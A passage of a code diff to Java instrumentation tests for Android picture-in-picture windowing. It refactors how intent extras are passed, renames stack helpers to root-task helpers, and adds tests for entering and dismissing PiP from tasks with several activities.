-                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR,
-                        Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR),
-                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+                extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_NUMERATOR)),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR)),
+                extraString(EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num)),
+                extraString(EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom)));
         // Wait for animation complete since we are comparing aspect ratio
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         assertPinnedStackExists();
@@ -418,7 +416,7 @@
     }
 
     @Test
-    public void testDisallowPipLaunchFromStoppedActivity() throws Exception {
+    public void testDisallowPipLaunchFromStoppedActivity() {
         // Launch the bottom pip activity which will launch a new activity on top and attempt to
         // enter pip when it is stopped
         launchActivity(PIP_ON_STOP_ACTIVITY);
@@ -431,12 +429,12 @@
     }
 
     @Test
-    public void testAutoEnterPictureInPicture() throws Exception {
+    public void testAutoEnterPictureInPicture() {
         // Launch a test activity so that we're not over home
         launchActivity(TEST_ACTIVITY);
 
         // Launch the PIP activity on pause
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"));
         assertPinnedStackDoesNotExist();
 
         // Go home and ensure that there is a pinned stack
@@ -447,12 +445,12 @@
 
     @Test
     public void testAutoEnterPictureInPictureOnUserLeaveHintWhenPipRequestedNotOverridden()
-            throws Exception {
+            {
         // Launch a test activity so that we're not over home
         launchActivity(TEST_ACTIVITY);
 
         // Launch the PIP activity that enters PIP on user leave hint, not on PIP requested
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT, "true"));
         assertPinnedStackDoesNotExist();
 
         // Go home and ensure that there is a pinned stack
@@ -480,12 +478,12 @@
     }
 
     @Test
-    public void testAutoEnterPictureInPictureOnPictureInPictureRequested() throws Exception {
+    public void testAutoEnterPictureInPictureOnPictureInPictureRequested() {
         // Launch a test activity so that we're not over home
         launchActivity(TEST_ACTIVITY);
 
         // Launch the PIP activity on pip requested
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PIP_REQUESTED, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_PIP_REQUESTED, "true"));
         assertPinnedStackDoesNotExist();
 
         // Call onPictureInPictureRequested and verify activity enters pip
@@ -512,7 +510,7 @@
     }
 
     @Test
-    public void testAutoEnterPictureInPictureLaunchActivity() throws Exception {
+    public void testAutoEnterPictureInPictureLaunchActivity() {
         // Launch a test activity so that we're not over home
         launchActivity(TEST_ACTIVITY);
 
@@ -520,8 +518,8 @@
         // top of itself.  Wait for the new activity to be visible and ensure that the pinned stack
         // was not created in the process
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_START_ACTIVITY, getActivityName(NON_RESIZEABLE_ACTIVITY));
+                extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
+                extraString(EXTRA_START_ACTIVITY, getActivityName(NON_RESIZEABLE_ACTIVITY)));
         mWmState.computeState(
                 new WaitForValidActivityState(NON_RESIZEABLE_ACTIVITY));
         assertPinnedStackDoesNotExist();
@@ -532,7 +530,7 @@
     }
 
     @Test
-    public void testAutoEnterPictureInPictureFinish() throws Exception {
+    public void testAutoEnterPictureInPictureFinish() {
         // Launch a test activity so that we're not over home
         launchActivity(TEST_ACTIVITY);
 
@@ -540,18 +538,20 @@
         // some period.  Wait for the previous activity to be visible, and ensure that the pinned
         // stack was not created in the process
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_FINISH_SELF_ON_RESUME, "true");
+                extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
+                extraString(EXTRA_FINISH_SELF_ON_RESUME, "true"));
         assertPinnedStackDoesNotExist();
     }
 
     @Test
-    public void testAutoEnterPictureInPictureAspectRatio() throws Exception {
+    public void testAutoEnterPictureInPictureAspectRatio() {
         // Launch the PIP activity on pause, and set the aspect ratio
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
-                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR));
+                extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
+                extraString(EXTRA_SET_ASPECT_RATIO_NUMERATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_NUMERATOR)),
+                extraString(EXTRA_SET_ASPECT_RATIO_DENOMINATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR)));
 
         // Go home while the pip activity is open to trigger auto-PIP
         launchHomeActivity();
@@ -566,14 +566,14 @@
     }
 
     @Test
-    public void testAutoEnterPictureInPictureOverPip() throws Exception {
+    public void testAutoEnterPictureInPictureOverPip() {
         // Launch another PIP activity
         launchActivity(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY);
         waitForEnterPip(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
         assertPinnedStackExists();
 
         // Launch the PIP activity on pause
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"));
 
         // Go home while the PIP activity is open to try to trigger auto-enter PIP
         launchHomeActivity();
@@ -586,7 +586,7 @@
     }
 
     @Test
-    public void testDismissPipWhenLaunchNewOne() throws Exception {
+    public void testDismissPipWhenLaunchNewOne() {
         // Launch another PIP activity
         launchActivity(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY);
         waitForEnterPip(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
@@ -600,19 +600,19 @@
     }
 
     @Test
-    public void testDisallowMultipleTasksInPinnedStack() throws Exception {
+    public void testDisallowMultipleTasksInPinnedStack() {
         // Launch a test activity so that we have multiple fullscreen tasks
         launchActivity(TEST_ACTIVITY);
 
         // Launch first PIP activity
         launchActivity(PIP_ACTIVITY);
-        int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
         mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         int defaultDisplayWindowingMode = getDefaultDisplayWindowingMode(PIP_ACTIVITY);
 
         // Launch second PIP activity
-        launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY2, extraString(EXTRA_ENTER_PIP, "true"));
+        waitForEnterPipAnimationComplete(PIP_ACTIVITY2);
 
         final ActivityTask pinnedStack = getPinnedStack();
         assertEquals(0, pinnedStack.getTasks().size());
@@ -623,11 +623,14 @@
     }
 
     @Test
-    public void testPipUnPipOverHome() throws Exception {
+    public void testPipUnPipOverHome() {
+        // Launch a task behind home to assert that the next fullscreen task isn't visible when
+        // leaving PiP.
+        launchActivity(TEST_ACTIVITY);
         // Go home
         launchHomeActivity();
         // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
@@ -636,16 +639,17 @@
         waitForExitPipToFullscreen(PIP_ACTIVITY);
         mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
+        mWmState.assertVisibility(TEST_ACTIVITY, false);
         mWmState.assertHomeActivityVisible(true);
     }
 
     @Test
-    public void testPipUnPipOverApp() throws Exception {
+    public void testPipUnPipOverApp() {
         // Launch a test activity so that we're not over home
         launchActivity(TEST_ACTIVITY);
 
         // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
@@ -658,69 +662,61 @@
     }
 
     @Test
-    public void testRemovePipWithNoFullscreenOrFreeformStack() throws Exception {
+    public void testRemovePipWithNoFullscreenOrFreeformStack() {
         // Launch a pip activity
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is now in the fullscreen/freeform stack (when
         // no fullscreen/freeform stack existed before)
-        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        removeRootTasksInWindowingModes(WINDOWING_MODE_PINNED);
         assertPinnedStackStateOnMoveToBackStack(PIP_ACTIVITY,
                 WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME, windowingMode);
     }
 
     @Test
-    public void testRemovePipWithVisibleFullscreenOrFreeformStack() throws Exception {
+    public void testRemovePipWithVisibleFullscreenOrFreeformStack() {
         // Launch a fullscreen/freeform activity, and a pip activity over that
         launchActivity(TEST_ACTIVITY);
         launchActivity(PIP_ACTIVITY);
         int testAppWindowingMode = mWmState.getTaskByActivity(TEST_ACTIVITY).getWindowingMode();
         int pipWindowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed in the fullscreen/freeform stack,
         // behind the top fullscreen/freeform activity
-        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        removeRootTasksInWindowingModes(WINDOWING_MODE_PINNED);
         assertPinnedStackStateOnMoveToBackStack(PIP_ACTIVITY,
                 testAppWindowingMode, ACTIVITY_TYPE_STANDARD, pipWindowingMode);
     }
 
     @Test
-    public void testRemovePipWithHiddenFullscreenOrFreeformStack() throws Exception {
+    public void testRemovePipWithHiddenFullscreenOrFreeformStack() {
         // Launch a fullscreen/freeform activity, return home and while the fullscreen/freeform
         // stack is hidden, launch a pip activity over home
         launchActivity(TEST_ACTIVITY);
         launchHomeActivity();
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed on top of the hidden
         // fullscreen/freeform stack, but that the home stack is still focused
-        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        removeRootTasksInWindowingModes(WINDOWING_MODE_PINNED);
         assertPinnedStackStateOnMoveToBackStack(PIP_ACTIVITY,
                 WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME, windowingMode);
     }
 
     @Test
-    public void testMovePipToBackWithNoFullscreenOrFreeformStack() throws Exception {
+    public void testMovePipToBackWithNoFullscreenOrFreeformStack() {
         // Start with a clean slate, remove all the stacks but home
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
 
         // Launch a pip activity
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is now in the fullscreen/freeform stack (when
         // no fullscreen/freeform stack existed before)
@@ -730,15 +726,13 @@
     }
 
     @Test
-    public void testMovePipToBackWithVisibleFullscreenOrFreeformStack() throws Exception {
+    public void testMovePipToBackWithVisibleFullscreenOrFreeformStack() {
         // Launch a fullscreen/freeform activity, and a pip activity over that
         launchActivity(TEST_ACTIVITY);
         launchActivity(PIP_ACTIVITY);
         int testAppWindowingMode = mWmState.getTaskByActivity(TEST_ACTIVITY).getWindowingMode();
         int pipWindowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed in the fullscreen/freeform stack,
         // behind the top fullscreen/freeform activity
@@ -748,16 +742,14 @@
     }
 
     @Test
-    public void testMovePipToBackWithHiddenFullscreenOrFreeformStack() throws Exception {
+    public void testMovePipToBackWithHiddenFullscreenOrFreeformStack() {
         // Launch a fullscreen/freeform activity, return home and while the fullscreen/freeform
         // stack is hidden, launch a pip activity over home
         launchActivity(TEST_ACTIVITY);
         launchHomeActivity();
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed on top of the hidden
         // fullscreen/freeform stack, but that the home stack is still focused
@@ -767,9 +759,9 @@
     }
 
     @Test
-    public void testPinnedStackAlwaysOnTop() throws Exception {
+    public void testPinnedStackAlwaysOnTop() {
         // Launch activity into pinned stack and assert it's on top.
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
         assertPinnedStackIsOnTop();
@@ -786,13 +778,13 @@
     }
 
     @Test
-    public void testAppOpsDenyPipOnPause() throws Exception {
+    public void testAppOpsDenyPipOnPause() {
         try (final AppOpsSession appOpsSession = new AppOpsSession(PIP_ACTIVITY)) {
             // Disable enter-pip and try to enter pip
             appOpsSession.setOpToMode(APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_IGNORED);
 
             // Launch the PIP activity on pause
-            launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+            launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
             assertPinnedStackDoesNotExist();
 
             // Go home and ensure that there is no pinned stack
@@ -802,20 +794,65 @@
     }
 
     @Test
-    public void testEnterPipFromTaskWithMultipleActivities() throws Exception {
+    public void testEnterPipFromTaskWithMultipleActivities() {
         // Try to enter picture-in-picture from an activity that has more than one activity in the
         // task and ensure that it works
         launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
         waitForEnterPip(PIP_ACTIVITY);
+
+        final ActivityTask task = mWmState.getTaskByActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        assertEquals(1, task.mActivities.size());
         assertPinnedStackExists();
     }
 
     @Test
+    public void testPipFromTaskWithMultipleActivitiesAndExpandPip() {
+        // Try to enter picture-in-picture from an activity that has more than one activity in the
+        // task and ensure pinned task can go back to its original task when expand to fullscreen
+        launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        waitForEnterPip(PIP_ACTIVITY);
+
+        mBroadcastActionTrigger.expandPip();
+        waitForExitPipToFullscreen(PIP_ACTIVITY);
+
+        final ActivityTask task = mWmState.getTaskByActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        assertEquals(2, task.mActivities.size());
+    }
+
+    @Test
+    public void testPipFromTaskWithMultipleActivitiesAndDismissPip() {
+        // Try to enter picture-in-picture from an activity that has more than one activity in the
+        // task and ensure flags on original task get reset after dismissing pip
+        launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        waitForEnterPip(PIP_ACTIVITY);
+
+        mBroadcastActionTrigger.doAction(ACTION_FINISH);
+        waitForPinnedStackRemoved();
+
+        final ActivityTask task = mWmState.getTaskByActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        assertFalse(task.mHasChildPipActivity);
+    }
+
+    @Test
+    public void testPipFromTaskWithMultipleActivitiesAndRemoveOriginalTask() {
+        // Try to enter picture-in-picture from an activity that has more than one activity in the
+        // task and ensure pinned task is removed when the original task vanishes
+        launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        waitForEnterPip(PIP_ACTIVITY);
+
+        final int originalTaskId = mWmState.getTaskByActivity(LAUNCH_ENTER_PIP_ACTIVITY).mTaskId;
+        removeRootTask(originalTaskId);
+        waitForPinnedStackRemoved();
+
+        assertPinnedStackDoesNotExist();
+    }
+
+    @Test
     public void testLaunchStoppedActivityWithPiPInSameProcessPreQ() {
         // Try to enter picture-in-picture from an activity that has more than one activity in the
         // task and ensure that it works, for pre-Q app
         launchActivity(SDK_27_LAUNCH_ENTER_PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true");
+                extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(SDK_27_PIP_ACTIVITY);
         assertPinnedStackExists();
 
@@ -835,7 +872,7 @@
     }
 
     @Test
-    public void testEnterPipWithResumeWhilePausingActivityNoStop() throws Exception {
+    public void testEnterPipWithResumeWhilePausingActivityNoStop() {
         /*
          * Launch the resumeWhilePausing activity and ensure that the PiP activity did not get
          * stopped and actually went into the pinned stack.
@@ -855,16 +892,16 @@
         // for the next resumeWhilePausing activity to finish resuming, but slow enough to not
         // trigger the current system pause timeout (currently 500ms)
         launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_ON_PAUSE_DELAY, "350",
-                EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+                extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
+                extraString(EXTRA_ON_PAUSE_DELAY, "350"),
+                extraString(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true"));
         launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
         assertPinnedStackExists();
     }
 
     @Test
-    public void testDisallowEnterPipActivityLocked() throws Exception {
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+    public void testDisallowEnterPipActivityLocked() {
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"));
         ActivityTask task = mWmState.getStackByActivity(PIP_ACTIVITY);
 
         // Lock the task and ensure that we can't enter picture-in-picture both explicitly and
@@ -878,7 +915,8 @@
                 mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
                 waitForEnterPip(PIP_ACTIVITY);
                 assertPinnedStackDoesNotExist();
-                launchHomeActivity();
+                launchHomeActivityNoWait();
+                mWmState.computeState();
                 assertPinnedStackDoesNotExist();
             } finally {
                 mAtm.stopSystemLockTaskMode();
@@ -887,15 +925,13 @@
     }
 
     @Test
-    public void testConfigurationChangeOrderDuringTransition() throws Exception {
+    public void testConfigurationChangeOrderDuringTransition() {
         // Launch a PiP activity and ensure configuration change only happened once, and that the
         // configuration change happened after the picture-in-picture and multi-window callbacks
         launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         separateTestJournal();
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
         waitForValidPictureInPictureCallbacks(PIP_ACTIVITY);
         assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, windowingMode);
 
@@ -945,7 +981,7 @@
         transitionAnimationScaleSession.set(20f);
 
         // Launch a PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         // Wait until the PiP activity has moved into the pinned stack (happens before the
         // transition has started)
         waitForEnterPip(PIP_ACTIVITY);
@@ -970,7 +1006,7 @@
     }
 
     @Test
-    public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
+    public void testStopBeforeMultiWindowCallbacksOnDismiss() {
         // Launch a PiP activity
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
@@ -987,7 +1023,7 @@
 
         // Dismiss it
         separateTestJournal();
-        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        removeRootTasksInWindowingModes(WINDOWING_MODE_PINNED);
         waitForExitPipToFullscreen(PIP_ACTIVITY);
         waitForValidPictureInPictureCallbacks(PIP_ACTIVITY);
 
@@ -1011,9 +1047,9 @@
     }
 
     @Test
-    public void testPreventSetAspectRatioWhileExpanding() throws Exception {
+    public void testPreventSetAspectRatioWhileExpanding() {
         // Launch the PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
 
         // Trigger it to go back to fullscreen and try to set the aspect ratio, and ensure that the
@@ -1024,12 +1060,12 @@
     }
 
     @Test
-    public void testSetRequestedOrientationWhilePinned() throws Exception {
+    public void testSetRequestedOrientationWhilePinned() {
         assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
         // Launch the PiP activity fixed as portrait, and enter picture-in-picture
         launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
-                EXTRA_PIP_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT),
-                EXTRA_ENTER_PIP, "true");
+                extraString(EXTRA_PIP_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT)),
+                extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
@@ -1053,7 +1089,7 @@
     }
 
     @Test
-    public void testWindowButtonEntersPip() throws Exception {
+    public void testWindowButtonEntersPip() {
         assumeTrue(!mWmState.isHomeRecentsComponent());
 
         // Launch the PiP activity trigger the window button, ensure that we have entered PiP
@@ -1064,12 +1100,9 @@
     }
 
     @Test
-    @FlakyTest(bugId=156314330)
-    public void testFinishPipActivityWithTaskOverlay() throws Exception {
-        // Trigger PiP menu activity to properly lose focuse when going home
-        launchActivity(TEST_ACTIVITY);
+    public void testFinishPipActivityWithTaskOverlay() {
         // Launch PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
         int taskId = mWmState.getStandardStackByWindowingMode(
@@ -1088,9 +1121,9 @@
     }
 
     @Test
-    public void testNoResumeAfterTaskOverlayFinishes() throws Exception {
+    public void testNoResumeAfterTaskOverlayFinishes() {
         // Launch PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
         ActivityTask stack = mWmState.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
@@ -1111,43 +1144,23 @@
     }
 
     @Test
-    public void testPinnedStackWithDockedStack() throws Exception {
-        assumeTrue(supportsSplitScreenMultiWindow());
+    public void testTranslucentActivityOnTopOfPinnedTask() {
+        launchActivity(LAUNCH_PIP_ON_PIP_ACTIVITY);
+        // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
+        // translucent activity.
+        enterPipAndAssertPinnedTaskExists(LAUNCH_PIP_ON_PIP_ACTIVITY);
+        mWmState.waitForValidState(
+                new WaitForValidActivityState.Builder(ALWAYS_FOCUSABLE_PIP_ACTIVITY)
+                        .setWindowingMode(WINDOWING_MODE_PINNED)
+                        .build());
 
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        waitForEnterPip(PIP_ACTIVITY);
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                        .setRandomData(true)
-                        .setMultipleTask(false)
-        );
-        mWmState.assertVisibility(PIP_ACTIVITY, true);
-        mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Launch the activities again to take focus and make sure nothing is hidden
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                        .setRandomData(true)
-                        .setMultipleTask(false)
-        );
-        mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Go to recents to make sure that fullscreen stack is invisible
-        // Some devices do not support recents or implement it differently (instead of using a
-        // separate stack id or as an activity), for those cases the visibility asserts will be
-        // ignored
-        if (pressAppSwitchButtonAndWaitForRecents()) {
-            mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-            mWmState.assertVisibility(TEST_ACTIVITY, false);
-        }
+        assertPinnedStackIsOnTop();
+        mWmState.assertVisibility(LAUNCH_PIP_ON_PIP_ACTIVITY, true);
+        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
     }
 
     @Test
-    public void testLaunchTaskByComponentMatchMultipleTasks() throws Exception {
+    public void testLaunchTaskByComponentMatchMultipleTasks() {
         // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
         // affinity
         launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
@@ -1170,19 +1183,19 @@
     }
 
     @Test
-    public void testLaunchTaskByAffinityMatchMultipleTasks() throws Exception {
+    public void testLaunchTaskByAffinityMatchMultipleTasks() {
         // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
         // affinity, and also launch another activity in the same task, while finishing itself. As
         // a result, the task will not have a component matching the same activity as what it was
         // started with
-        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
-                EXTRA_START_ACTIVITY, getActivityName(TEST_ACTIVITY),
-                EXTRA_FINISH_SELF_ON_RESUME, "true");
+        launchActivityNoWait(TEST_ACTIVITY_WITH_SAME_AFFINITY,
+                extraString(EXTRA_START_ACTIVITY, getActivityName(TEST_ACTIVITY)),
+                extraString(EXTRA_FINISH_SELF_ON_RESUME, "true"));
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(TEST_ACTIVITY)
                 .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
                 .setActivityType(ACTIVITY_TYPE_STANDARD)
                 .build());
-        launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
+        launchActivityNoWait(PIP_ACTIVITY_WITH_SAME_AFFINITY);
         waitForEnterPip(PIP_ACTIVITY_WITH_SAME_AFFINITY);
         assertPinnedStackExists();
 
@@ -1190,7 +1203,8 @@
         int rootActivityTaskId = mWmState.getTaskByActivity(
                 TEST_ACTIVITY).mTaskId;
         launchHomeActivity();
-        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+        launchActivityNoWait(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+        mWmState.computeState();
 
         // ...and ensure that even while matching purely by task affinity, the root activity task is
         // found and reused, and that the pinned stack is unaffected
@@ -1201,12 +1215,12 @@
     }
 
     @Test
-    public void testLaunchTaskByAffinityMatchSingleTask() throws Exception {
+    public void testLaunchTaskByAffinityMatchSingleTask() {
         // Launch an activity into the pinned stack with a fixed affinity
-        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_START_ACTIVITY, getActivityName(PIP_ACTIVITY),
-                EXTRA_FINISH_SELF_ON_RESUME, "true");
+        launchActivityNoWait(TEST_ACTIVITY_WITH_SAME_AFFINITY,
+                extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_START_ACTIVITY, getActivityName(PIP_ACTIVITY)),
+                extraString(EXTRA_FINISH_SELF_ON_RESUME, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
@@ -1214,7 +1228,7 @@
         // fullscreen
         int activityTaskId = mWmState.getTaskByActivity(PIP_ACTIVITY).mTaskId;
         launchHomeActivity();
-        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+        launchActivityNoWait(TEST_ACTIVITY_WITH_SAME_AFFINITY);
         waitForExitPipToFullscreen(PIP_ACTIVITY);
